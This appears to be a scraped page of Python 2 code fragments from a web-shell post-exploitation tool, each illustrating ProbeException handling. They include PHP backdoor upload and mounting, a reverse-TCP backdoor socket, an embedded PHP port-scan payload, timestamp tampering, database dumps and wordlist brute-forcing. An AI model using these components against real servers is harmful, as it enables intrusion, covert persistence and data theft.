Ejemplo n.º 1
0
 def _probe(self):
     
     
     if not self.support_vectors.get('exists').execute({ 'rpath' : self.args['remote_mount'] }):
         raise ProbeException(self.name, '%s \'%s\'' % (WARN_HTTPFS_MOUNTPOINT, self.args['remote_mount']))             
     
     self.args['remote_mount'] = self.support_vectors.get('normalize').execute({ 'path' : self.args['remote_mount'] })
 
     
     if self.args['umount_all']:
         # Umount all httpfs partitions
         self.__umount_all()
         raise ProbeSucceed(self.name, 'Unmounted partitions')
     
     if not self.args['just_mount']:
         # Upload remote
         try:    
             Upload2web._probe(self)
         except ProbeSucceed:
             pass
             
     if not self.args['just_install']:
         
         if not self.args['local_mount']:
             self.args['local_mount'] = mkdtemp()
             
         cmd = '%s mount %s %s %s' % (self.args['httpfs_path'], self.args['url'], self.args['local_mount'], self.args['remote_mount'])
 
         status, output = getstatusoutput(cmd)
         if status == 0:
             if output:
                 raise ProbeException(self.name,'%s\nCOMMAND:\n$ %s\nOUTPUT:\n> %s\n%s' % (WARN_HTTPFS_OUTP, cmd, output.replace('\n', '\n> '), WARN_HTTPFS_CHECK))
                 
         else:
             raise ProbeException(self.name,'%s\nCOMMAND:\n$ %s\nOUTPUT:\n> %s\n%s' % (WARN_HTTPFS_RUN, cmd, output.replace('\n', '\n> '), WARN_HTTPFS_CHECK))
Ejemplo n.º 2
0
    def _prepare(self):

        self._result = {}

        if self.args['pathfile']:
            try:
                filelist = open(os.path.expanduser(self.args['pathfile']),
                                'r').read().splitlines()
            except:
                raise ProbeException(
                    self.name,
                    "Error opening path list \'%s\'" % self.args['pathfile'])
        elif self.args['pathlist']:
            filelist = self.args['pathlist']
        elif self.args['auto_home']:
            filelist = self.common_files['home']
        elif self.args['auto_web']:
            filelist = self.common_files['web']
        else:
            filelist = self.common_files['web'] + self.common_files['home']

        result = self.support_vectors.get('users').execute()
        if not result:
            raise ProbeException(self.name, 'Cant extract system users')

        self.args['paths'] = []
        for u in result:
            for f in filelist:
                self.args['paths'].append('/' +
                                          join_abs_paths([result[u].home, f]))
Ejemplo n.º 3
0
    def _probe(self):

        self._result = False

        rpathfolder, rfilename = path.split(self.args['rpath'])

        lpath = path.join(mkdtemp(), rfilename)
        lpath_orig = lpath + '.orig'

        rpath_existant = self.support_vectors.get(
            'exists').execute({'rpath': self.args['rpath']})

        if rpath_existant:
            if not self.support_vectors.get('download').execute({'rpath': self.args['rpath'], 'lpath': lpath}):
                raise ProbeException(
                    self.name, '%s \'%s\'' % (WARN_DOWNLOAD_FAILED, self.args['rpath']))

            if self.args['keep_ts']:
                self.args['epoch'] = self.support_vectors.get(
                    'get_time').execute({'rpath': self.args['rpath']})

            try:
                copy(lpath, lpath_orig)
            except Exception, e:
                raise ProbeException(
                    self.name, '\'%s\' %s %s' % (lpath_orig, WARN_BACKUP_FAILED, str(e)))

            call("%s %s" % (self.args['editor'], lpath), shell=True)

            md5_lpath_orig = md5sum(lpath_orig)
            if md5sum(lpath) == md5_lpath_orig:
                self._result = True
                raise ProbeSucceed(
                    self.name, "File unmodified, no upload needed")
Ejemplo n.º 4
0
    def __do_request(self, listcmd, mode):

        cmd = listcmd
        if isinstance(listcmd, types.ListType):
            cmd = ' '.join(listcmd)

        request = CmdRequest(self.modhandler.url, self.modhandler.password,
                             self.args['proxy'])
        request.setPayload(cmd, mode)

        msg_class = self.args['debug']

        if self.args['post']:
            request.setPostData(self.args['post'])
            self.mprint("Post data values:", msg_class)
            for field in self.args['post']:
                self.mprint(
                    "  %s (%i)" % (field, len(self.args['post'][field])),
                    msg_class)

        self.mprint("Request: %s" % (cmd), msg_class)

        try:
            response = request.execute()
        except NoDataException, e:
            raise ProbeException(self.name, WARN_NO_RESPONSE)
Ejemplo n.º 5
0
 def _prepare(self):
     
     services_path = self._get_service_path()
     try:
         services = open(services_path, 'r').read()
     except Exception, e:
         raise ProbeException(self.name,  '\'%s\' %s' % (services_path, WARN_NO_SUCH_FILE))
Ejemplo n.º 6
0
    def _probe(self):

        self._result = {}

        enum_pathlist = str([
            x + 'ifconfig' for x in [
                '/sbin/', '/bin/', '/usr/bin/', '/usr/sbin/',
                '/usr/local/bin/', '/usr/local/sbin/'
            ]
        ])

        ifconfig_pathlist = self.support_vectors.get('enum').execute(
            {'pathlist': enum_pathlist})

        for path in ifconfig_pathlist:
            if ifconfig_pathlist[path] != ['', '', '', '']:
                result = self.support_vectors.get('ifconfig').execute(
                    {'ifconfig_path': path})

                if result:
                    ifaces = re.findall(
                        r'^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result,
                        re.S | re.M)

                    if ifaces:

                        for iface in ifaces:
                            ipnet = IPNetwork('%s/%s' % (iface[1], iface[2]))
                            self._result[iface[0]] = ipnet
                else:
                    raise ProbeException(self.name,
                                         '\'%s\' %s' % (path, WARN_NO_OUTPUT))
Ejemplo n.º 7
0
    def __init__(self, support_vectors, url):

        self.support_vectors = support_vectors
        self.name = 'webenv'

        script_folder = self.support_vectors.get('script_folder').execute()
        script_url_splitted = urlsplit(url)
        script_url_path_folder, script_url_path_filename = os.path.split(
            script_url_splitted.path)

        url_folder_pieces = script_url_path_folder.split(os.sep)
        folder_pieces = script_folder.split(os.sep)

        for pieceurl, piecefolder in zip(reversed(url_folder_pieces),
                                         reversed(folder_pieces)):
            if pieceurl == piecefolder:
                folder_pieces.pop()
                url_folder_pieces.pop()
            else:
                break

        base_url_path_folder = os.sep.join(url_folder_pieces)
        self.base_folder_url = urlunsplit(script_url_splitted[:2] +
                                          (base_url_path_folder, ) +
                                          script_url_splitted[3:])
        self.base_folder_path = os.sep.join(folder_pieces)

        if not self.base_folder_url or not self.base_folder_path:
            raise ProbeException(self.name, WARN_WEBROOT_INFO)
Ejemplo n.º 8
0
class Mapwebfiles(Module):
    '''Crawl and enumerate web folders files permissions'''


    def _set_vectors(self):
        self.support_vectors.add_vector('enum', 'file.enum', ["asd", "-pathlist", "$pathlist"])
    
    def _set_args(self):
        self.argparser.add_argument('url', help='HTTP URL where start crawling (es. http://host/path/page.html)')
        self.argparser.add_argument('baseurl', help='HTTP base url (es. http://host/path/)')
        self.argparser.add_argument('rpath', help='Remote web root corresponding to crawled path (es. /var/www/path)')
        self.argparser.add_argument('-depth', help='Crawl depth', type=int, default=3)


    def _prepare(self):
    
        if not url_validator.match(self.args['url']):
            raise ProbeException(self.name, '\'%s\': %s' % (self.args['url'], WARN_NOT_URL) )
        if not url_validator.match(self.args['baseurl']):
            raise ProbeException(self.name, '\'%s\': %s' % (self.args['baseurl'], WARN_NOT_URL) )
    
        url = self.args['url']    
        baseurl = self.args['baseurl']
        rpath = self.args['rpath']
        
        urls = []
    
        try:
            crawler = Crawler(url, self.args['depth'], '', '')
            crawler.crawl()
        except ModuleException, e:
            raise
        except Exception, e:
            raise ProbeException(self.name, "%s: %s" % (ERR_CRAWLER_EXCEPT, str(e)))
Ejemplo n.º 9
0
    def connect_socket(self):
        if (self.connect):
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect((self.hostname, self.port))

        else:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
            except socket.error:
                #print("Warning: unable to set TCP_NODELAY...")
                pass

            try:
                server.bind(('localhost', self.port))
            except socket.error, e:
                raise ProbeException('backdoor.reversetcp',
                                     '%s %s' % (WARN_BINDING_SOCKET, str(e)))

            server.listen(1)

            server.settimeout(3)

            try:
                self.socket, address = server.accept()
            except socket.timeout, e:
                server.close()
                raise ExecutionException('backdoor.reversetcp', 'timeout')
Ejemplo n.º 10
0
    def __generate_httpfs(self):
        
        status, php_bd_content = getstatusoutput('%s generate php' % (self.args['httpfs_path']))
        if status != 0 or not php_bd_content:
            raise ProbeException(self.name, '\'%s\' %s' % (self.args['httpfs_path'], WARN_ERR_GEN_PHP))

        self.args['lpath'] = randstr(4) + '.php'
        self.args['content'] = php_bd_content        
Ejemplo n.º 11
0
 def _prepare(self):
 
     if not url_validator.match(self.args['url']):
         raise ProbeException(self.name, '\'%s\': %s' % (self.args['url'], WARN_NOT_URL) )
     if not url_validator.match(self.args['baseurl']):
         raise ProbeException(self.name, '\'%s\': %s' % (self.args['baseurl'], WARN_NOT_URL) )
 
     url = self.args['url']    
     baseurl = self.args['baseurl']
     rpath = self.args['rpath']
     
     urls = []
 
     try:
         crawler = Crawler(url, self.args['depth'], '', '')
         crawler.crawl()
     except ModuleException, e:
         raise
Ejemplo n.º 12
0
    def __umount_all(self):
        
        status, output = getstatusoutput('mount')
        if status != 0 or not output:
            raise ProbeException(self.name, '%s: %s' % (WARN_FUSE_UMOUNT, output))     

        local_mountpoints = re.findall('(/[\S]+).+httpfs',output)
        if not local_mountpoints:
            raise ProbeException(self.name, WARN_MOUNT_NOT_FOUND)  
            
        for mountpoint in local_mountpoints:
        
            cmd = 'fusermount -u %s' % (mountpoint)
            status, output = getstatusoutput(cmd)
            if status != 0:
                raise ProbeException(self.name, '%s: %s' % (WARN_FUSE_UMOUNT, output))     
        
        self.mprint('Umounted: \'%s\'' % '\', '.join(local_mountpoints))
Ejemplo n.º 13
0
    def __get_epoch_ts(self, rpath):

        ref_epoch = 0
        if self.support_vectors.get('exists').execute({ 'rpath' : rpath }):
            ref_epoch = self.support_vectors.get('get_epoch').execute({ 'rpath' : rpath })
        
        if not ref_epoch:
            raise ProbeException(self.name, 'can\'t get timestamp from \'%s\'' % ref_epoch)
        
        return ref_epoch
Ejemplo n.º 14
0
class Scan(Module):
    '''Port scan open TCP ports'''
    def _set_vectors(self):
        self.support_vectors.add_vector('ifaces', 'net.ifaces', [])
        self.support_vectors.add_vector('scan', 'shell.php', [
            """$str = base64_decode($_POST["$post_field"]);
    foreach (explode(',', $str) as $s) {
    $s2 = explode(' ', $s);
    foreach( explode('|', $s2[1]) as $p) {
    if($fp = fsockopen("$s2[0]", $p, $n, $e, $timeout=1)) {print(" $s2[0]:$p"); fclose($fp);}
    }print(".");}""", "-post", "{\'$post_field\' : \'$data\' }"
        ])

    def _set_args(self):
        self.argparser.add_argument(
            'addr',
            help=
            'Single IP, multiple: IP1,IP2,.., networks IP/MASK or firstIP-lastIP, interfaces (ethN)'
        )
        self.argparser.add_argument(
            'port',
            help='Single post, multiple: PORT1,PORT2,.. or firstPORT-lastPORT')
        self.argparser.add_argument('-unknown',
                                    help='Scan also unknown ports',
                                    action='store_true')
        self.argparser.add_argument('-ppr',
                                    help=SUPPRESS,
                                    default=10,
                                    type=int)

    def _get_service_path(self):
        return os.path.join(self.modhandler.path_modules, 'net', 'external',
                            'nmap-services-tcp.txt')

    def _prepare(self):

        services_path = self._get_service_path()
        try:
            services = open(services_path, 'r').read()
        except Exception, e:
            raise ProbeException(
                self.name, '\'%s\' %s' % (services_path, WARN_NO_SUCH_FILE))

        ifaces_all = self.support_vectors.get('ifaces').execute()

        reqlist = RequestList(self.modhandler, services, ifaces_all)
        reqlist.add(self.args['addr'], self.args['port'])

        if not reqlist:
            raise ProbeException(self.name, WARN_INVALID_SCAN)

        if self.args['ppr'] == 10 and self.args['addr'] == '127.0.0.1':
            self.args['ppr'] = 100

        self.args['reqs'] = reqlist
Ejemplo n.º 15
0
    def _prepare(self):

        self._result = {}

        if not self.args['pathlist']:
            try:
                self.args['pathlist'] = open(
                    os.path.expanduser(self.args['pathfile']), 'r').read().splitlines()
            except:
                raise ProbeException(
                    self.name,  "Error opening path list \'%s\'" % self.args['pathfile'])
Ejemplo n.º 16
0
    def _prepare(self):

        if not self.args['just_run']:
            Phpproxy._prepare(self)
        else:
            if not url_validator.match(self.args['just_run']):
                raise ProbeException(
                    self.name, '\'%s\': %s' % (self.args['just_run'], WARN_NOT_URL))

            self.args['url'] = self.args['just_run']
            self.args['rpath'] = ''
Ejemplo n.º 17
0
    def _check_remote_file(self):

        if self.support_vectors.get('check_exists').execute(
            {'rpath': self.args['rpath']}):
            if not self.args['force']:
                raise ProbeException(
                    self.name, '%s. Overwrite \'%s\' using -force option.' %
                    (WARN_FILE_EXISTS, self.args['rpath']))
            else:
                self.support_vectors.get('clear').execute(
                    {'rpath': self.args['rpath']})
Ejemplo n.º 18
0
    def _check_credentials(self):

        get_current_user = '******' if self.args['vector']== 'postgres' else 'SELECT USER();'
        
        user = self.support_vectors.get(self.args['dbms']).execute({ 'host' : self.args['host'], 'user' : self.args['user'], 'pass' : self.args['pass'], 'query' : get_current_user })
        
        if user:
            user = user[:-1]
            self.stored_args_namespace['vector'] = self.args['vector']
            self.stored_args_namespace['prompt'] = '%s SQL> ' % user
        else:
            raise ProbeException(self.name, "%s of %s " % (WARN_CHECK_CRED, self.args['host']) )
Ejemplo n.º 19
0
    def _load_local_file(self):

        if not self.args['content']:
            try:
                local_file = open(self.args['lpath'], 'r')
            except Exception, e:
                raise ProbeException(
                    self.name,
                    '\'%s\' %s' % (self.args['lpath'], WARN_NO_SUCH_FILE))

            self.args['content'] = local_file.read()
            local_file.close()
Ejemplo n.º 20
0
    def folder_map(self, relative_path_folder='.'):

        absolute_path = self.support_vectors.get('normalize').execute(
            {'path': relative_path_folder})

        if not absolute_path:
            raise ProbeException(
                self.name,
                '\'%s\' %s' % (relative_path_folder, WARN_NOT_FOUND))

        if not absolute_path.startswith(self.base_folder_path.rstrip('/')):
            raise ProbeException(
                self.name, '\'%s\' not in \'%s\': %s' %
                (absolute_path, self.base_folder_path.rstrip('/'),
                 WARN_NOT_WEBROOT_SUBFOLDER))

        relative_to_webroot_path = absolute_path.replace(
            self.base_folder_path, '')

        url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'),
                                relative_to_webroot_path.lstrip('/'))

        return absolute_path, url_folder
Ejemplo n.º 21
0
    def _stringify_result(self):

        if self._result:
            if not '-- Dumping data for table' in self._result:
                self.mprint(WARN_DUMP_INCOMPLETE)

            if not self.args['ldump']:
                temporary_folder = mkdtemp(prefix='weev_')
                self.args['ldump'] = path.join(
                    temporary_folder,
                    '%s:%s@%s-%s.txt' % (self.args['user'], self.args['pass'],
                                         self.args['host'], self.args['db']))

            try:
                lfile = open(self.args['ldump'], 'w').write(self._result)
            except:
                raise ProbeException(
                    self.name,
                    "\'%s\' %s" % (self.args['ldump'], WARN_DUMP_ERR_SAVING))
            else:
                self.mprint("\'%s\' %s" %
                            (self.args['ldump'], WARN_DUMP_SAVED))
        else:
            raise ProbeException(self.name, WARN_NO_DUMP)
Ejemplo n.º 22
0
    def _probe(self):

        value = self.support_vectors.get(self.args['attr']).execute(self.args)

        if self.args['attr'] == 'md5' and value:
            self._result = value
        elif self.args['attr'] in ('size', 'time_epoch', 'time'):
            try:
                self._result = int(value)
            except ValueError, e:
                raise ProbeException(self.name,
                                     "%s: '%s'" % (WARN_INVALID_VALUE, value))

            if self.args['attr'] == 'time':
                self._result = datetime.datetime.fromtimestamp(
                    self._result).strftime('%Y-%m-%d %H:%M:%S')
Ejemplo n.º 23
0
    def _prepare(self):

        proxy_path = self._get_proxy_path()

        if not self.args['rpath']:

            # If no rpath, set content and remote final filename as random
            try:
                content = open(proxy_path, 'r').read()
            except Exception, e:
                raise ProbeException(
                    self.name,
                    '\'%s\' %s' % (self.args['lpath'], WARN_NO_SUCH_FILE))

            self.args['lpath'] = randstr(4) + '.php'
            self.args['content'] = content
Ejemplo n.º 24
0
    def _prepare(self):

        # Check chunk size
        if (self.args['hostname']
                not in ('127.0.0.1',
                        'localhost')) and self.args['chunksize'] > 20:
            self.mprint('Chunk size %i: %s' %
                        (self.args['chunksize'], WARN_CHUNKSIZE_TOO_BIG))

        # Load wordlist
        wordlist = self.args['wordlist']
        if not wordlist:
            if self.args['wordfile']:
                try:
                    local_file = open(self.args['wordfile'], 'r')
                except Exception, e:
                    raise ProbeException(
                        self.name, '\'%s\' %s' %
                        (self.args['wordfile'], WARN_NO_SUCH_FILE))
                else:
                    wordlist = local_file.read().split('\n')
Ejemplo n.º 25
0
 def _verify(self):
     if not self._result:
         raise ProbeException(self.name, WARN_NO_IFACES)
Ejemplo n.º 26
0
 def _verify(self):
     raise ProbeException(self.name, WARN_DELETE_FAIL)
Ejemplo n.º 27
0
    def _prepare(self):

        self._result = False
        self.modhandler.load('file.check').run([self.args['rpath'], 'exists'])
        if not self.modhandler.load('file.check')._result:
            raise ProbeException(self.name, WARN_NO_SUCH_FILE)
Ejemplo n.º 28
0
 def _verify(self):
     if not self.support_vectors.get('check_exists').execute(
         {'rpath': self.args['rpath']}):
         raise ProbeException(
             self.name,
             '\'%s\' %s' % (self.args['rpath'], WARN_UPLOAD_FAIL))
Ejemplo n.º 29
0
class Upload2web(Upload):
    '''Upload binary/ascii file into remote web folders and guess corresponding url'''
    def _set_args(self):

        self.argparser.add_argument('lpath')
        self.argparser.add_argument('rpath',
                                    help='Optional, upload as rpath',
                                    nargs='?')

        self.argparser.add_argument(
            '-startpath',
            help='Upload in first writable subdirectory',
            metavar='STARTPATH',
            default='.')
        self.argparser.add_argument('-chunksize', type=int, default=1024)
        self.argparser.add_argument('-content', help=SUPPRESS)
        self.argparser.add_argument('-vector', choices=self.vectors.keys())
        self.argparser.add_argument('-force', action='store_true')

    def _set_vectors(self):
        Upload._set_vectors(self)

        self.support_vectors.add_vector('find_writable_dirs', 'find.perms',
                                        '-type d -writable $path'.split(' '))
        self.support_vectors.add_vector('document_root', 'system.info',
                                        'document_root')
        self.support_vectors.add_vector('normalize', 'shell.php',
                                        'print(realpath("$path"));')
        self.support_vectors.add_vector('script_folder', 'shell.php',
                                        'print(dirname(__FILE__));')

    def _prepare(self):

        Upload._load_local_file(self)

        webenv = WebEnv(self.support_vectors, self.modhandler.url)

        if self.args['rpath']:
            # Check if remote file is actually in web root
            self.args['rpath'], self.args['url'] = webenv.file_map(
                self.args['rpath'])
        else:

            # Extract filename
            filename = self.args['lpath'].split('/')[-1]

            # Check if starting folder is actually in web root
            try:
                absolute_path_folder, url_folder = webenv.folder_map(
                    self.args['startpath'])
            except ProbeException, e:
                # If default research fails, retry from web root base folder
                if self.args['startpath'] != '.':
                    raise
                else:
                    try:
                        absolute_path_folder, url_folder = webenv.folder_map(
                            webenv.base_folder_path)
                    except ProbeException, e2:
                        raise e

            # Start find in selected folder
            writable_subdirs = self.support_vectors.get(
                'find_writable_dirs').execute({'path': absolute_path_folder})

            if not writable_subdirs:
                raise ProbeException(self.name, WARN_WRITABLE_DIR_NOT_FOUND)

            writable_folder, writable_folder_url = webenv.folder_map(
                writable_subdirs[0])

            self.args['rpath'] = os.path.join(writable_folder, filename)

            self.args['url'] = os.path.join(writable_folder_url, filename)
Ejemplo n.º 30
0
 def _verify(self):
     if not self._result:
         raise ProbeException(
             self.name, "Unable to change timestamp, check permission")